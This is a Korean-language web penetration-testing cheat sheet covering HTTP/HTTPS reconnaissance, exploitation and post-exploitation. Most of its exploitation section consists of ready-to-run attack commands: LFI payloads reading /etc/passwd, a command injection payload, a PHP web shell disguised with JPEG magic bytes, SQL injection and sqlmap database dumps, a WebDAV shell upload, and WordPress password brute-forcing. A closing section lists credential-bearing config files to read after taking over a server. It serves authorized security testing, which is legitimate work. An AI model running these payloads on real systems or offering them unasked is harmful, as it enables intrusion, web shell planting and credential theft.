HTTP/HTTPS (Port 80/443) 취약점 진단
Overview
HTTP/HTTPS: 웹 서비스 통신 프로토콜. 다양한 공격 벡터가 존재하여 가장 복잡하고 중요한 진단 대상
공격 마인드셋 (Source & Sink):
- Source (입력 지점): GET/POST 파라미터, 쿠키, HTTP 헤더, API 바디, 파일 업로드 등 사용자 입력 가능 영역 파악
- Sink (사용 지점): DB 쿼리, 시스템 명령어, 파일 시스템, 외부 API 등 입력값 처리 지점 파악
- 핵심 질문: 입력값 통제 가능 여부, 필터링 유무, 페이로드 실행 가능성 분석
Assessment Checklist
- 웹 서버/프레임워크 스택 식별: 사용하는 서버(Nginx, Apache), 프레임워크(Spring, PHP), CMS(WordPress) 종류 및 구버전 여부 점검
- 크롤링/숨김 디렉토리 스캔:
robots.txt및 디렉토리 브루트포싱을 통한 관리자 페이지, 백업 파일 노출 점검 - 주요 웹 취약점 존재 여부: SQL 인젝션, LFI, Command Injection, 파일 업로드 취약점 등 OWASP Top 10 기반 점검
- WebDAV 설정 결함: 불필요한 WebDAV 활성화 및 파일 쓰기(PUT) 허용 여부 점검
1. Reconnaissance
웹 서버 및 기술 스택 확인
# Nmap HTTP 관련 스크립트 스캔
nmap -p 80,443 -sV --script http-title,http-headers,http-enum <target>
# cURL을 이용한 헤더 정보 획득
curl -I http://<target>
# WhatWeb을 이용한 상세 기술 스택 식별
whatweb http://<target>
크롤러 접근 규칙 및 숨김 경로 확인
# robots.txt 내용 확인 (크롤링 차단된 관리자/백업 디렉토리 탐색)
curl http://<target>/robots.txt
디렉토리 브루트포싱 (Directory Enumeration)
# ffuf를 이용한 디렉토리 스캔 (추천)
ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302
# 파일 확장자 지정 스캔
ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.html,.bak
# Gobuster를 이용한 스캔
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip,bak
2. Exploitation
주요 웹 취약점 테스트 (Web Vulnerabilities)
LFI (Local File Inclusion)
# 기본 LFI 테스트 (URL 인코딩 및 널 바이트 활용)
curl "http://<target>/page.php?file=../../../../etc/passwd"
curl "http://<target>/page.php?file=../../../../etc/passwd%00"
# LFImap 자동화 도구 활용
python3 lfimap.py -U "http://<target>/page.php?file=test" -a
Command Injection
# OS 명령어 연산자 및 URL 인코딩 주입 테스트
# ; ( %3B ), | ( %7C ), && ( %26%26 )
curl "http://<target>/ping.php?ip=127.0.0.1%3B+whoami"
파일 업로드 우회 (File Upload Bypass)
# 1. 파일 확장자 우회: shell.php.jpg, shell.php%00.jpg, shell.pHp
# 2. Content-Type 변조 (Burp Suite 활용): image/jpeg 로 조작
# 3. 매직 바이트(Magic Byte) 추가 결합
echo -e "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); ?>" > shell.php
SQL Injection
# 기본 수동 페이로드 주입
curl "http://<target>/login.php" -d "username=admin'--&password=a"
# SQLMap을 이용한 데이터베이스 자동 열거 및 덤프
sqlmap -u "http://<target>/page.php?id=1" --dbs
sqlmap -u "http://<target>/page.php?id=1" -D <database> -T <table> --dump
WebDAV 취약점 테스트
# davtest를 이용한 WebDAV 업로드 가능 여부 자동 진단
davtest -url http://<target>/webdav/
# cadaver를 이용한 수동 연결 및 파일 업로드
cadaver http://<target>/webdav/
dav:/webdav/> put shell.php
CMS 전용 취약점 진단 (WordPress)
# WPScan을 이용한 사용자, 테마, 플러그인 열거
wpscan --url http://<target> --enumerate p,t,u
# 계정 브루트포스 공격
wpscan --url http://<target> --usernames admin --passwords /usr/share/wordlists/rockyou.txt
3. Advanced Techniques
간이 웹 서버 구동 (Payload Delivery)
타겟 서버로 익스플로잇 페이로드를 넘겨주기 위한 로컬 웹 서버 임시 구동
# Python 3 내장 HTTP 서버 오픈
python3 -m http.server 80
# PHP 내장 웹 서버 오픈
sudo php -S 0.0.0.0:80 -t /var/www/html
cURL 및 Wget 활용 팁
# [cURL] 쿠키 포함, POST 데이터 전송 및 리다이렉트 추적
curl -b "session=abc123" -X POST -d "param=value" -L http://<target>
# [Wget] 백그라운드 재귀 다운로드
wget -b -r http://<target>/
4. Post-Exploitation
웹 서버 장악 후 시스템 내부로 권한 확장을 위한 주요 설정 파일 확인
웹 서버 설정 파일 주요 위치:
- Apache:
/etc/apache2/apache2.conf,/etc/httpd/conf/httpd.conf - Nginx:
/etc/nginx/nginx.conf - 웹 루트 디렉토리 내 DB 연결 정보:
wp-config.php,config.php,.env파일 등